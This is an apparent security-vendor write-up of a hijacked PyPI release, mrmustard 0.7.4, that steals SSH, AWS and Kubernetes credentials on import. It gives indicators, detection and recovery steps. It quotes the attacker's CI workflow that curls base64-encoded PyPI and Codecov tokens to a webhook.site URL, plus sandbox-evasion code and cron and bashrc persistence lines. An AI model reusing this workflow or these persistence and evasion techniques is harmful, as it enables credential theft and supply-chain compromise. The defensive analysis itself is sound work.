Back to Blog

Compromised PyPI Package: mrmustard 0.7.4 Steals SSH, Cloud, and Kubernetes Credentials

A hijacked maintainer account published mrmustard 0.7.4 to PyPI with a credential stealer that runs on import, exfiltrating SSH keys, AWS, and Kubernetes credentials from developer and research machines. Full analysis, IOCs, and response steps.
Varun Sharma
View LinkedIn

July 24, 2026

Share on X
Share on X
Share on LinkedIn
Share on Facebook
Follow our RSS feed
mrmustard 0.7.4 compromised PyPI package, StepSecurity threat intelligence analysis
Table of Contents

Overview

On July 24, 2026, mrmustard 0.7.4, a version of XanaduAI's open source quantum photonics library, was found on PyPI carrying credential stealing malware. The release did not come from the project maintainers in the normal way. An attacker took over a maintainer's GitHub account, used the project's own CI to steal its publishing token, and then uploaded a poisoned 0.7.4 straight to PyPI. The malicious code was injected into the published artifact only, so anyone reading the GitHub source would have seen nothing wrong.

On every import mrmustard, the payload collects SSH private keys, AWS credentials, and Kubernetes configuration and sends them to a server the attacker controls, then installs three separate persistence mechanisms so it keeps running long after the package is removed. StepSecurity detonated the package under Harden-Runner in a sandbox and inspected the artifact on the runner to reconstruct exactly what it does.

Action Required

If you installed mrmustard 0.7.4, treat the host as compromised.

Rotate every credential the machine could reach, including SSH keys, AWS credentials, and Kubernetes configs. Remove the package, the 15 minute cron job, the shell startup hook, and the .pth file in site-packages, then block metrics.femboy.energy and femboy.energy. Full recovery steps are below.

The Compromised Package

PackageAffected VersionWhy It Was Flagged
mrmustard (PyPI)0.7.4Credential stealing code injected into the published artifact. No matching GitHub release or git tag.

Safe versions are 0.7.3 and earlier, and the 1.0.0a pre releases. Only 0.7.4 is malicious.

How we confirmed it

Three signals identify 0.7.4 as a malicious artifact rather than a real release:

  1. No matching git tag or GitHub release. The last real release tag is v0.7.3 from March 2024. The next tag is v1.0.0a1 from July 2025. There is no v0.7.4 tag or GitHub release anywhere in the source repository. The version exists only on PyPI.
  2. The payload never touched the source tree. The malicious code does not appear in mrmustard/__init__.py on the default branch. It lived only inside the PyPI tarball, which is why a source code review would have missed it.
  3. The artifact matches, byte for byte, on the point that matters. We extracted the tarball on a hardened runner. The clean 0.7.3 top level __init__.py is a handful of lines. The 0.7.4 one is 343 lines, with a 258 line block added at the top.

How the Attack Works

Step 1: Account takeover and self-hosted runner reconnaissance

Two commits were pushed by the maintainer account ziofil on July 23, 2026, both on throwaway branches that have since been deleted. The first, titled 'Test Commit,' deleted seven legitimate workflow files and added a single workflow that targeted the project's self-hosted runners and ran whoami:

name: nwmlqsxgnc
on:
push:
branches: nwmlqsxgnc
jobs:
testing:
runs-on:
- self-hosted
steps:
- name: Run Tests
run: whoami

There is no legitimate reason to wipe the CI configuration and run whoami on a self-hosted runner. This is reconnaissance. The attacker was checking what identity and access the runners had before going further.

Commit 2ebfe28 on GitHub showing seven deleted workflow files and a new workflow that runs whoami on self-hosted runners
Commit 2ebfe28 deleted seven legitimate workflows and added a self-hosted runner job that runs whoami.

Step 2: Stealing the publishing token through CI

The second commit, titled 'ci: package check,' added a workflow that read the repository's PyPI and Codecov tokens from GitHub Actions secrets, base64 encoded them, and posted them to a webhook.site collection URL:

name: ci-mrmustard-check
on:
push:
branches: [ci/mrmustard-check]
workflow_dispatch:

jobs:
check:
runs-on: ubuntu-latest
steps:
- name: verify
env:
S1: ${{ secrets.PIPY_TOKEN }}
S2: ${{ secrets.CODECOV_TOKEN }}
run: |
PAYLOAD=$(jq -n '{"PIPY_TOKEN": env.S1, "CODECOV_TOKEN": env.S2, "repo": "XanaduAI/MrMustard"}' | base64 -w 0)
curl -s -X POST "https://webhook.site/710babde-6ace-47fe-83f4-9688e6548df9" -H "Content-Type: application/json" -d '{"data": "'"$PAYLOAD"'", "type": "mrmustard"}'

Pushing to the branch triggered the workflow, which handed the project's PyPI publishing token to the attacker. With that token, the attacker could upload a package version directly to PyPI without going near the normal release process. That is how 0.7.4 was published. The attacker then deleted the branch to hide the workflow.

Commit 80aba72 on GitHub showing the ci-mrmustard-check.yml workflow that reads PYPI and Codecov tokens and posts them to webhook.site
Commit 80aba72 added a workflow that exfiltrated the repository's PyPI and Codecov tokens to webhook.site.

Countermeasure: Secret Exfiltration Attempt detection

This step is exactly what StepSecurity Harden-Runner's Secret Exfiltration Attempt detection is built for. It flags runs that read secrets and ship them to an outside endpoint, and it raises the confidence level when the workflow, branch, or file is deleted afterward, which is precisely what this attacker did. The detection turns a silent token theft into an alert your security team sees in real time.

See how it detects secret theft

Step 3: The injected payload

The 0.7.4 tarball is identical to 0.7.3 except for a block added to mrmustard/__init__.py, disguised as a function named _check_tf_compatibility(). The name is chosen to look like a routine TensorFlow compatibility check. Because it sits in the package top level __init__.py, it runs on the first import mrmustard, before any real library code executes. The function launches its work on a background daemon thread, then removes its own name from the module:

_check_tf_compatibility()
del _check_tf_compatibility

The del is a stealth measure. After import, the function no longer exists as an attribute, so anything inspecting the imported module sees nothing unusual. In our sandbox this was visible directly: after installing and importing the package, mrmustard._check_tf_compatibility was already gone, even though the code had run.

Step 4: Sandbox and CI evasion

The payload only runs when it believes it is on a real machine. It returns immediately and does nothing if it detects a CI system or a container:

for m in ("CI", "GITHUB_ACTIONS", "GITLAB_CI", "JENKINS_URL",
"TRAVIS", "CIRCLECI", "BUILDKITE", "CODEBUILD_BUILD_ID"):
if _o.environ.get(m):
return
for p in ("/.dockerenv", "/run/.containerenv"):
if _o.path.exists(p):
return

It also reads /proc/1/cgroup and bails out if it sees docker, kubepods, or lxc. This is why a plain install inside a build system shows nothing. To detonate it we stripped the CI environment variables with env -i so the payload treated the runner as a developer laptop.

Step 5: Credential and environment theft

Once past the checks, the payload harvests a wide set of secrets and system details. The command and control URL is not stored in plaintext. It is XOR obfuscated with the key tf_compat_v2 and decodes to https://metrics.femboy.energy/v1/collect. The data it collects includes:

  • SSH private keys, by reading every file in ~/.ssh and keeping the ones that contain PRIVATE KEY
  • AWS credentials and config from ~/.aws/credentials and ~/.aws/config
  • Kubernetes configuration from ~/.kube/config
  • Environment variables matching cloud and cluster prefixes, including AWS_, KUBE, SLURM_, PBS_, SGE_, CUDA, NVIDIA, and CONDA
  • Hostname, username, OS, Python version, working directory, and the output of id
  • Public IP address, fetched from ifconfig.me
  • The full installed package list from pip freeze
  • GPU details from nvidia-smi, and the SLURM job queue from squeue

The choice of what to steal is deliberate. SLURM, PBS, and SGE are HPC schedulers, and nvidia-smi, CUDA, and CONDA point at GPU and research compute. mrmustard is a quantum photonics library, so its users tend to work on exactly these high value research clusters. The stolen data is JSON, XOR encrypted with the same key, base64 encoded, and posted to the C2 with a spoofed browser User-Agent. To avoid noisy repeat traffic, the payload records a per machine id and a timestamp under ~/.cache/.tf_cache and skips sending again within the hour.

Step 6: Three persistence mechanisms

Removing the package does not clean the machine. The payload compiles a second stage copy of itself to ~/.cache/.tf_cache/hw_probe.pyc and installs three independent forms of persistence, all pointing at that file:

  • Cron. A job that runs every 15 minutes: */15 * * * * /usr/bin/env python3 ~/.cache/.tf_cache/hw_probe.pyc
  • Python startup hook. A .pth file written into site-packages. Python executes .pth file code on every interpreter start, so the payload runs on any python invocation, even without importing mrmustard again.
  • Shell startup hook. A line appended to ~/.bashrc or ~/.zshrc, disguised with the comment # tensorflow hardware compatibility check, so it runs in every new terminal session.

Any one of these re establishes the payload. All three together mean a full cleanup requires removing each mechanism by hand.

Runtime Validation with StepSecurity Harden-Runner

We installed mrmustard 0.7.4 from the malicious tarball on a hardened, GitHub hosted runner. Because the payload skips CI and container environments, we stripped the CI environment variables with env -i so it would treat the runner as a developer machine, and we kept the Python process alive after import so the background exfil thread could finish.

The payload executed and installed all three persistence mechanisms

A single import mrmustard was enough. The run created the marker directory and the compiled second stage, added the cron job, wrote the .pth loader into site-packages, and appended the shell hook:

== ~/.cache/.tf_cache ==
-rw-r--r-- 1 runner runner 0 .lock_59e5a580e253
-rw-r--r-- 1 runner runner 18 .ts_59e5a580e253
-rw-r--r-- 1 runner runner 8444 hw_probe.pyc
== crontab ==
*/15 * * * * /usr/bin/env python3 /home/runner/.cache/.tf_cache/hw_probe.pyc >/dev/null 2>&1
== .pth in venv site-packages ==
victim-venv/lib/python3.11/site-packages/mmcompat.pth
== bashrc tail ==
# tensorflow hardware compatibility check
(/usr/bin/env python3 /home/runner/.cache/.tf_cache/hw_probe.pyc &) 2>/dev/null
GitHub Actions log showing the .tf_cache directory with hw_probe.pyc, a 15 minute crontab entry, the mmcompat.pth file, and the bashrc hook
A single import dropped all three persistence mechanisms on the runner: the cron job, the .pth loader, and the shell startup hook.

Harden-Runner blocked the exfil beacon, in audit mode

After import, the payload tried to reach its command and control host. Harden-Runner recorded the outbound call to metrics.femboy.energy and blocked it, marking it Attack Blocked, even though this job ran in audit mode. A normal mrmustard install only contacts github.com, pypi.org, and files.pythonhosted.org, all of which were allowed. The runner logged the drop with the reason attached:

[dns-request-dropped] domain=metrics.femboy.energy.
matchedPolicy=GLOBAL_BLOCKLIST reason=COMPROMISED_MRMUSTARD_PYPI_C2_DOMAIN
StepSecurity Harden-Runner Network Events in audit mode showing metrics.femboy.energy marked Attack Blocked, with github.com and pypi.org allowed
In audit mode, Harden-Runner still blocked the call to metrics.femboy.energy while allowing the normal install traffic.

The C2 is already blocked for every StepSecurity organization

The reason the call was denied in audit mode is that metrics.femboy.energy is on StepSecurity's Global Block Policy, a curated list of indicators of compromise from real world supply chain attacks. It is applied automatically to every workflow run and enforced even when a workflow's own egress policy is set to audit. StepSecurity's threat intel team had already added this C2, so every organization was protected from it without any configuration.

StepSecurity Global Block Policy dashboard showing metrics.femboy.energy as a blocked indicator with reason Mrmustard Pypi C2 Domain
metrics.femboy.energy in StepSecurity's Global Block Policy, applied automatically to every organization.

Indicators of Compromise

  • PyPI package: mrmustard==0.7.4
  • Credential exfiltration C2: https://metrics.femboy.energy/v1/collect (XOR obfuscated in the payload, key tf_compat_v2)
  • C2 domain: metrics.femboy.energy (registered May 11, 2026, behind Cloudflare)
  • Public IP lookup: ifconfig.me
  • CI secret exfiltration URL: https://webhook.site/710babde-6ace-47fe-83f4-9688e6548df9
  • Disguised function: _check_tf_compatibility() in mrmustard/__init__.py (self deletes after running)
  • Second stage file: ~/.cache/.tf_cache/hw_probe.pyc
  • Marker directory: ~/.cache/.tf_cache (holds per machine lock and timestamp files)
  • Persistence, cron: a job on a 15 minute schedule running hw_probe.pyc
  • Persistence, Python: a .pth file in site-packages that launches hw_probe.pyc
  • Persistence, shell: a startup hook in ~/.bashrc or ~/.zshrc commented # tensorflow hardware compatibility check

Am I Affected?

CI/CD Pipelines

Check your Harden-Runner organization baseline for any outbound network calls to metrics.femboy.energy or femboy.energy, for calls to ifconfig.me, and for the webhook.site URL above. A call to any of these from a build that installs mrmustard is a strong signal that a runner ran the malicious code.

Developer Machines

Developer laptops and research cluster login nodes are the primary target, because that is where SSH keys, cloud credentials, and kubeconfigs live. Look for the three persistence artifacts: a cron job on a 15 minute schedule, a startup hook in ~/.bashrc or ~/.zshrc, and a stray .pth file in site-packages. The directory ~/.cache/.tf_cache and the file hw_probe.pyc are direct signs of infection.

Code Repositories

Grep your lockfiles and requirements for the pinned bad version:

grep -rniE "mrmustard[=<>~! ]*0\.7\.4" . --include=requirements*.txt --include=*.lock --include=pyproject.toml --include=Pipfile*

Recovery Steps

If mrmustard 0.7.4 was installed on a machine, in CI or on a laptop or cluster node, treat that host as compromised:

  1. Rotate every credential the host could reach. SSH private keys, AWS access keys, Kubernetes credentials, and any tokens present in environment variables while the payload ran. Rotate first, clean up second.
  2. Remove the package. Uninstall mrmustard, then reinstall a known good version if you still need it: pip install 'mrmustard==0.7.3'.
  3. Remove persistence. Delete the 15 minute cron job, remove the startup hook from ~/.bashrc and ~/.zshrc, delete the .pth file from site-packages, and delete ~/.cache/.tf_cache.
  4. Block the C2. Block metrics.femboy.energy and femboy.energy at your DNS resolver or egress firewall.
  5. Audit network logs. Search for outbound requests to metrics.femboy.energy, femboy.energy, ifconfig.me, and the webhook.site URL to scope which hosts contacted attacker infrastructure.
  6. For the XanaduAI project: rotate the PyPI and Codecov tokens the CI workflow exfiltrated, revoke the compromised maintainer account's tokens and sessions, and review self-hosted runner access given the reconnaissance commit.

How StepSecurity Protects Against This

This attack has two distinct stages, the CI token theft and the credential stealing package, and StepSecurity addresses both.

The Global Block Policy stops known C2s automatically

StepSecurity maintains a curated Global Block Policy of indicators of compromise from real world supply chain attacks. It applies to every workflow run automatically, alongside any policy you set, and it is enforced even in audit mode. Because the threat intel team had already added metrics.femboy.energy, this exact attack was blocked for every organization with no configuration required, which is what our detonation showed.

Baseline anomaly detection catches novel C2s

For attacker infrastructure that is not yet on any list, Harden-Runner builds a baseline of the network destinations each workflow normally contacts and flags any call to an endpoint it has never used. A job that installs a package and then reaches a brand new host stands out against a baseline of github.com, pypi.org, and files.pythonhosted.org. Detection is based on what the code actually does at runtime, not on a signature, so it works on zero day compromises. In audit mode the anomalous call is recorded and alerted, and in block mode any destination outside the baseline or allowlist is denied at the network layer, so credentials never leave the machine.

Secret Exfiltration Attempt detection catches the CI token theft

The first stage of this attack, the workflow that dumped the PyPI and Codecov tokens to webhook.site, is caught by Harden-Runner's Secret Exfiltration Attempt detection. It correlates the signals of credential theft in a single run, reading secrets and sending them to an outside endpoint, and it raises the confidence level when the workflow, branch, or file is deleted afterward. This attacker deleted both malicious branches, which is exactly the pattern the detection weights most heavily.

Real time notification and dev machine coverage

For enterprise customers these detections trigger immediate alerts through email, Slack, webhook, and other integrations, so a compromise surfaces as it happens rather than in a post incident review. Because developer laptops and research clusters are the real target of the package payload, the same behavioral approach extends to endpoints, watching for the new cron entries, shell startup edits, and unexpected .pth files that this payload drops.

Acknowledgment

This compromise was reported by Ilyas Makari, malware researcher at Aikido Security, in issue #656 on the MrMustard repository. Credit to Ilyas and the Aikido team for the analysis that surfaced this attack.

References

Check if this package is in your environment

StepSecurity checks your repositories, CI/CD pipelines, and developer machines for compromised packages like mrmustard 0.7.4.

Explore Related Posts